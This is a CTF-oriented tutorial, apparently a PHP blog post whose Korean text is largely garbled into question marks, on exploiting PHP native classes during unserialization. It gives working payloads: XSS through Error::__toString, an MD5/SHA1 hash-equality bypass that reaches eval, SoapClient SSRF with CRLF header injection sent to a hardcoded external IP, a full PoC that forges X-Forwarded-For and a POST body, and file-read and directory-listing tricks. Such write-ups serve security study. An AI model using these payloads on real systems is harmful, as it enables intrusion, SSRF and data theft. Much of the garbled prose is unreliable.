PHP ???? ???? ???? ?? ???? ??
May 17, 2022 am 11:56 AM? ????? ????? ???? ???? ??? ?? ???? PHP? ?? ?? ??? ?????. ?? ?? ?? ctf? ???? ??? ??? ??? ? ?? ?? ??? ? ??? ???? ??? ?? ???? ???? ??? ??? ????.
?? ??: "PHP ??? ????"
PHP ???? ???? ??? ??? ?? ??? ??
?? ?? ?? ctf? ???? ?? ??? ??? ??? ? ?? ?? ?? ? ??, ?? ??? ??? ???? ???? PHP ???? ???? ??? ? ? ????. ?? PHP ???? ????? ? ?? ??? ?? ???? ????. ?? ??? ?? ??? ???? ???? ??? ?? ???? ???? ??? ?? ? ??? ??? ? ????. .
1. ???? ?? ???
__wakeup()?//執(zhí)行unserialize()時,先會調用這個函數(shù) __sleep()?//執(zhí)行serialize()時,先會調用這個函數(shù) __destruct()?//對象被銷毀時觸發(fā) __call()?//在對象上下文中調用不可訪問的方法時觸發(fā) __callStatic()?//在靜態(tài)上下文中調用不可訪問的方法時觸發(fā) __get()?//用于從不可訪問的屬性讀取數(shù)據(jù)或者不存在這個鍵都會調用此方法 __set()?//用于將數(shù)據(jù)寫入不可訪問的屬性 __isset()?//在不可訪問的屬性上調用isset()或empty()觸發(fā) __unset()?//在不可訪問的屬性上使用unset()時觸發(fā) __toString()?//把對象當作字符串使用時觸發(fā) __invoke()?//當嘗試將對象調用為函數(shù)時觸發(fā)
2. ???? ???? ?? ???
?? ????? ???? ?? ???? ???? ?? ???? ?????.
<?php $classes = get_declared_classes();foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' ))) { print $class . '::' . $method . "\n"; } }}
3.
Error/ExceptionError? ?? PHP ?? ?? ???? ?? ??????. (PHP 7, 8)
**Error::__toString ** error? ??? ??Error? ??? ??? ?????.Exception? ?? ??? ?? ??? ?? ??????. (PHP 5, 7, 8)
**Exception::__toString ** ?? ??? ???? ?? ???(string) ???? ??? ??? ?????. ???XSS
__toString ???? ??? ??? ????? ??? ??? ???? ??? ??? ?????. xss ?? ???? ???? ?? ?? ???? ???? ??? xss ???? ??????
?:<?php $a = unserialize($_GET['a']);echo $a;
<?php $a = new Error("<script>alert('xss')");$b?=?serialize($a);echo?urlencode($b);
?? ??? ???????
<?phperror_reporting (0);class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc?!=?$this->lover)?&&?(md5($this->syc)?===?md5($this->lover))?&&?(sha1($this->syc)===?sha1($this->lover))?){ ???????????if(!preg_match("/\syc,?$match)){ ???????????????eval($this->syc); ???????????}?else?{ ???????????????die("Try?Hard?!!"); ???????????} ????????} ????}}if?(isset($_GET['great'])){ ????unserialize($_GET['great']);}?else?{ ????highlight_file(__FILE__);}
??? ?? ???? ???? ??? ???? ???? ?? ??? ? ????????? md5() ? sha1() ??? ??? ??? ? __tostring ???? ???? ?????
??? ??????? ???? ??
<?php $a=new Error("payload",1);$b=new Error("payload",2);$c=new Exception("payload",3); $d=new Exception("payload",4); echo $a."<br>"; echo?$b."<br>"; echo?$c."<br>"; echo?$d;
? ? ???? ???? ??? ??? ? ??? ???? ??? ????? ?? ? ? ????. ?? ???? ?? ??? ??? ? ????. ???? ? ??? ?? ?? ????? ???
??? ??? ???? ??? ? ??? ? ??? ???? ?? ???(??) ?? ??? ??? ? ??? ? ? ????
<?php $a = new Error("payload",1);$b = new Error("payload",2);if ($a!=$b){ echo '$a不等于$b'."\n";}if (md5($a)===md5($b)){ echo "md5值相等\n";}if (sha1($a)===sha1($b)){ echo "sha1值相等";}??? ?? ???? ??? ??? ??? ? ????. ????? ?? ?????
??<?phpclass SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc?!=?$this->lover)?&&?(md5($this->syc)?===?md5($this->lover))?&&?(sha1($this->syc)===?sha1($this->lover))?){ ???if(!preg_match("/\syc,?$match)){ ???eval($this->syc); ???}?else?{ ???die("Try?Hard?!!"); ???} ??? } }}$str?=?"?>=include~".urldecode("%D0%99%93%9E%98")."?>";//兩次取反繞過正則$a=new?Error($str,1); $b=new?Error($str,2); $c?=?new?SYCLOVER();$c->syc?=?$a;$c->lover?=?$b; echo(urlencode(serialize($c)));?>SoapClient
SoapClient
? ? ???? ????? ? ???? ???? SOAP ????? ???? ? ???? ????? PHP ?????? ??? ? ???, SOAP ??? ???? ???? wsdl ?????? ?? ??? ? ????. Soap ?? ??? ????? ?? ??? ?? ? ???? ?? ???. SoapClient::__call— SOAP ?? ??(PHP 5, 7, 8)
????? SOAP ??? ??? ?? ??? ? ????. SoapClient ??
SSRF???:
public?SoapClient?::?SoapClient(mixed?$wsdl?[,array?$options?]) 第一個參數(shù)是用來指明是否是wsdl模式,如果為`null`,那就是非wsdl模式。 第二個參數(shù)為一個數(shù)組,如果在wsdl模式下,此參數(shù)可選;如果在非wsdl模式下,則必須設置location和uri選項,其中l(wèi)ocation是要將請求發(fā)送到的SOAP服務器的URL,而uri?是SOAP服務的目標命名空間。soap
SOAP?是基于?XML?的簡易協(xié)議,是用在分散或分布的環(huán)境中交換信息的簡單的協(xié)議,可使應用程序在?HTTP?之上進行信息交換 SOAP是webService三要素(SOAP、WSDL、UDDI)之一:WSDL?用來描述如何訪問具體的接口,?UDDI用來管理,分發(fā),查詢webService?,SOAP(簡單對象訪問協(xié)議)是連接或Web服務或客戶端和Web服務之間的接口。 其采用HTTP作為底層通訊協(xié)議,XML作為數(shù)據(jù)傳送的格式。us? ????? ????? ????? ?????. ? ?? ????? NULL?? ? ?? ????? ??? vps ??
<?php $a = new SoapClient(null, array( 'location' =>?'http://47.102.146.95:2333',? 'uri'?=>'uri', 'user_agent'=>'111111')); $b?=?serialize($a); echo?$b; $c?=?unserialize($b); $c->a();? ?????. vps? 2333 ??? ???? ?? ??? ?? SSRF? ????? ??????. vps? ?? ??
? ???? SOAPAction? user_agent? ?? ??? ? ????
CRLF ???? ???? ?? ????? ????? SoapClient? ?? ???? ?? ?? ????. ?: Redis? ???? HTTP ????
CRLF ?? ??HTTP報文的結構:狀態(tài)行和首部中的每行以CRLF結束,首部與主體之間由一空行分隔。 CRLF注入漏洞,是因為Web應用沒有對用戶輸入做嚴格驗證,導致攻擊者可以輸入一些惡意字符。 攻擊者一旦向請求行或首部中的字段注入惡意的CRLF(\r\n),就能注入一些首部字段或報文主體,并在響應中輸出。CRLF? ???? SoapClient+CRLF? ???? ?? ?? ??,
<?php $a = new SoapClient(null, array( 'location' =>?'http://47.102.146.95:2333', ????'uri'?=>'uri', ????'user_agent'=>"111111\r\nCookie:?PHPSESSION=dasdasd564d6as4d6a")); ????$b?=?serialize($a);echo?$b;$c?=?unserialize($b);$c->a();? ? ?? ??? ??? ? ????.
發(fā)送POST的數(shù)據(jù)包,這里需要將Content-Type設置為application/x-www-form-urlencoded,我們可以通過添加兩個\r\n來將原來的Content-Type擠下去,自定義一個新的Content-Type
<?php $a = new SoapClient(null, array( 'location' =>?'http://47.102.146.95:2333', ????'uri'?=>'uri', ????'user_agent'=>"111111\r\nContent-Type:?application/x-www-form-urlencoded\r\nX-Forwarded-For:?127.0.0.1\r\nCookie:?PHPSESSID=3stu05dr969ogmprk28drnju93\r\nContent-Length:?10\r\n\r\npostdata")); ????$b?=?serialize($a);echo?$b;$c?=?unserialize($b);$c->a();
看一道ctfshow上的題,完美利用上述知識點
$xff?=?explode(',',?$_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip?=?array_pop($xff);?//獲取xff頭 if($ip!=='127.0.0.1'){ ????die('error'); }else{ ????$token?=?$_POST['token']; ????if($token=='ctfshow'){ ????????file_put_contents('flag.txt',$flag); ????} }
poc:
<?php $target = 'http://127.0.0.1/flag.php'; $post_string = 'token=ctfshow'; $b = new SoapClient(null,array('location' =>?$target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type:?application/x-www-form-urlencoded'.'^^Content-Length:?'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>?"ssrf")); $a?=?serialize($b); $a?=?str_replace('^^',"\r\n",$a); echo?urlencode($a); ?>
DirectoryIterator/FilesystemIterator
DirectoryIterator類提供了一個簡單的接口來查看文件系統(tǒng)目錄的內容。
DirectoryIterator::__toString 獲取字符串形式的文件名 (PHP 5,7,8)
目錄遍歷
使用此內置類的__toString方法結合glob或file協(xié)議,即可實現(xiàn)目錄遍歷
例如:
<?php $a = new DirectoryIterator("glob:///*"); foreach ($a as $b){ echo $b.'<br>'; }
FilesystemIterator繼承于DirectoryIterator,兩者作用和用法基本相同,區(qū)別為FilesystemIterator會顯示文件的完整路徑,而DirectoryIterator只顯示文件名
因為可以配合使用glob偽協(xié)議(查找匹配的文件路徑模式),所以可以繞過open_basedir的限制
在php4.3以后使用了zend_class_unserialize_deny
來禁止一些類的反序列化,很不幸的是這兩個原生類都在禁止名單當中
SplFileObject
SplFileObject 類為單個文件的信息提供了一個面向對象的高級接口
(PHP 5 >= 5.1.2, PHP 7, PHP 8)
文件讀取
SplFileObject::__toString — 以字符串形式返回文件的路徑
<?phphighlight_file (__file__);$a = new SplFileObject("./flag.txt");echo $a;/*foreach($context as $f){ echo($a); }*/
如果沒有遍歷的話只能讀取第一行,且受到open_basedir
影響
SimpleXMLElement
解析XML 文檔中的元素。 (PHP 5、PHP 7、PHP 8)
SimpleXMLElement::__construct — 創(chuàng)建一個新的 SimpleXMLElement 對象
XXE
我們查看一下其參數(shù):
根據(jù)官方文檔,發(fā)現(xiàn)當?shù)谌齻€參數(shù)為True時,即可實現(xiàn)遠程xml文件載入,第二個參數(shù)的常量值設置為2即可。
利用可參考賽題:[SUCTF 2018]Homework
ReflectionMethod
獲取注釋內容
(PHP 5 >= 5.1.0, PHP 7, PHP 8)
ReflectionFunctionAbstract::getDocComment — 獲取注釋內容
由該原生類中的getDocComment方法可以訪問到注釋的內容
同時可利用的原生類還有ZipArchive– 刪除文件等等,不在敘述
推薦學習:《PHP視頻教程》
? ??? PHP ???? ???? ???? ?? ???? ??? ?? ?????. ??? ??? PHP ??? ????? ?? ?? ??? ?????!

? AI ??

Undress AI Tool
??? ???? ??

Undresser.AI Undress
???? ?? ??? ??? ?? AI ?? ?

AI Clothes Remover
???? ?? ???? ??? AI ?????.

Clothoff.io
AI ? ???

Video Face Swap
??? ??? AI ?? ?? ??? ???? ?? ???? ??? ?? ????!

?? ??

??? ??

???++7.3.1
???? ?? ?? ?? ???

SublimeText3 ??? ??
??? ??, ???? ?? ????.

???? 13.0.1 ???
??? PHP ?? ?? ??

???? CS6
??? ? ?? ??

SublimeText3 Mac ??
? ??? ?? ?? ?????(SublimeText3)

??? ?? ??? ??? ?? JavaScript? MediareCorder API? ?? PHP ???? ???? ?????. 2. PHP? ???? ?? ??? ???? STTAPI (? : Google ?? Baidu ?? ??)? ???? ???? ?????. 3. PHP? ???? AI ??? (? : OpenAigpt)? ????. 4. ?? ?? PHP? TTSAPI (? : Baidu ?? Google ?? ??)? ???? ??? ?? ??? ?????. 5. PHP? ?? ??? ??? ??? ??? ?? ?? ??? ?????. ?? ????? PHP? ?? ???? ?? ?? ?? ??? ??? ?????.

PHP?? ?? ?? ??? ???? ?? ??? ? ???? ?? ??? ???? ?? ??? ???? ???? ????. 1. ?? ?? ??? ?? ??? URL ? ?? ??? ????. 2. UrlenCode? ???? ?? ??? ???????. 3. ? ???? ????? ?? ?? ??? ? ?? ??? ?????. 4. ???? ???? ?? ? ? ??? ??? ??? ??? ?????. 5. ??? ?? ??? ????? ?? ????? OG ??? ???? ?????. 6. XSS ??? ???? ?? ??? ??? ?????. ? ???? ??? ??? ???? ??? ?? ?? ??? ??? ???? ??? ?? ??? ?????.

AI? ??? ??? ?? ?? ? ?? ???? ????? ?? ??? ??????. 1. Baidu, Tencent API ?? ?? ?? NLP ?????? ?? ??? AI ?? ?? API? ??????. 2. PHP? ? ?? guzzle? ?? API? ???? ?? ??? ??????. 3. ?? ????? ?? ?? ??? ???? ???? ???? ??? ??? ? ????. 4. ?? ?? ? ?? ???? ?? PHP-L ? PHP_CODESNIFFER? ??????. 5. ???? ????? ???? ?? ?? ??? ?????? ??? ??????. AIAPI? ??? ? ???, ?? ??, ?? ? PHP ?? ??? ??? ???. ?? ???? PSR ??? ???, ??? ????? ????, ?? ??? ???, ????? ??? ????, X? ???????.

1. ?? ???? ??? ??? ?????? ?? ?? ??? ??, ??? ?? ???? ??? (? : ?? ???, ? ? ??), ?? ??? ?? ???? ???? ? ?? ?? ??? ??? ?? ??? ????????. 2. ?? ??? ??? ?? ? ??? ???? ?? ?? ?? ???? ?? ? ?? AUDIT ?? ??? ??? ? ????? ????? ??? ???????. 3. ?? ?? ??? ?? ??? ???????. Recaptchav3 ???? ??, ??? ?? ?? ?? ?? ??, IP ? ?? ??? ??? ??? ?? ???? ??? ?? ??? ????? ??? ???? ????? ??? ?????.

PHP? AI ??? ??? ?? ????? ??? API? ?? ?????. ??? ??? ????? ? ??? ???? ?????. API ??? ?? ?? ??? ???? ??? ??? ???? ???? ? ????. 2. ?? ?? ???? guzzle ?? curl? ???? HTTP ??? ???, JSON ??? ??? ? ???, API ? ?? ??, ??? ? ?? ??? ???? ??, ??? ?? ?? ? ? ?? ????, ??? ?? ? ?????? ?????. 3. ???? ???? ?? ???? API ??, ?? ? ??? ?? ??, ??? ?? ??, ?? ?? ? ??? ??? ??? ?????. ?? ??? ??? ??? ? ??? ???? Propt ?? ? ?? ?? ??, ??? ?? ? ?? ????, ?? ?? ?? ???? ? ??? ?? ? ???? ????? ?????.

PHP? ?????? ????? ?? ?? ?? ???? ???? ?? ???? ???? ?? ?? ???? ?????. 2. ?? ??? ???? ???? ?? ??? ?? ? ??? ??? ???? ?? API/Webhook ??? ??? ?? ???? ??? ??? ??? ??? ?????. 3. ?? ????? ?? ??, ??/???? ????, ???? ??, ???? ? ??? ?????? ????? ?? ??? ???? ???? ?? Dingtalk, SMS ?? ??? ???? ??? ?????? ???? ?? ? ??? ??? ????? ?? ??? ???? ???????.

PhpisstillRelevantinmodernenterpriseenvironments.1. Modernphp (7.xand8.x)? ??? ??, ??? ??, jitcompilation ? modernsyntax, mateitsuilableforlarge-scalepplications

??? AI ?? ?? ???? ???? PHPSDK? ??????. 2. PHP? ???? FFMPEG? ???? ???? API ?? ?? (? : WAV)?? ?????. 3. ??? ???? ????? ????? API ???? ??? ??????. 4. NLP ??? ???? JSON ??? ???? ???? ?????. 5. ?? ??? ???? ???? ?? ?? ?? ?? ?? ??? ?????. ?? ????? ?? ?? ? ??? ???? ?? ??? ???, ??? ?? ? ??? ???????.
